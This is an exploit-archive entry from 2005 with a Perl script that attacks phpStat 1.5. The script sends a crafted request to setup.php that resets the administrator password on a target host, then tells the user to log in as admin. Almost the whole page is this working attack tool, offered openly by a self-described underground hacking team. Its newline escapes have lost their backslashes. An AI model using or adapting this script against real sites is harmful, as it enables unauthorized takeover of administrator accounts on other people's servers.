[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : phpStat <= 1.5 (setup.php) Authentication Bypass Exploit (perl)
# Published : 2005-05-30
# Author : Alpha_Programmer
# Previous Title : myBloggie 2.1.1 - 2.1.2 SQL Injection Exploit
# Next Title : phpStat <= 1.5 (setup.php) Authentication Bypass Exploit (php)


#!/usr/bin/perl
#####################################################################
#T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
#####################################################################
# EXPLOIT FOR - PHPStat Setup.PHP Authentication Bypass Vulnerability
#
#Exploit By :  A l p h a _ P r o g r a m m e r ( Sirus-v )
#E-Mail : Alpha_Programmer@Yahoo.com
#
#This Xpl Change Admin's Pass in This Portal !!
#Discovered by: SoulBlack
#
#Vulnerable Version : phpStat 1.5
#
#####################################################################
# Gr33tz To ==>   mh_p0rtal , Oil_karchack , Str0ke  &  AlphaST.Com
#
# So Iranian Hacking & Security Teams :
#
# Crouz , Shabgard , Simorgh-ev ,IHS , Emperor & GrayHatz.NeT
#####################################################################


use IO::Socket;

if (@ARGV < 3)
{
 print "n==========================================n";
 print " n     -- Exploit By Alpha Programmer --nn";
 print "     Trap-Set UnderGrounD Hacking Team      nn";
 print "         Usage: <T4rg3t> <DIR> <Password>nn";
 print "==========================================nn";
 print "Examples:nn";
 print "    phpStat.pl www.Site.com /phpstat/ 12345n";
 exit();
}

my $host = $ARGV[0];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "C4nn0t C0nn3ct to $host" }

print "C0nn3ctedn";

$http = "GET $ARGV[1]setup.php?check=yes&username=admin&password=$ARGV[2] HTTP/1.0n";
$http .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)n";
$http .= "Host: $hostnnnn";

print "[+]Sending H3ll Packet ...n";
print $remote $http;
sleep(1);
print "[+]Wait For Authentication Bypass ...n";
sleep(100);
while (<$remote>)
{
}
print "[+]OK ! Now Goto $host$ARGV[1]setup.php And L0gin Whith:nn";
print "[+]User: adminn";
print "[+]Pass: $ARGV[2]";

# www.Syue.com [2005-05-30]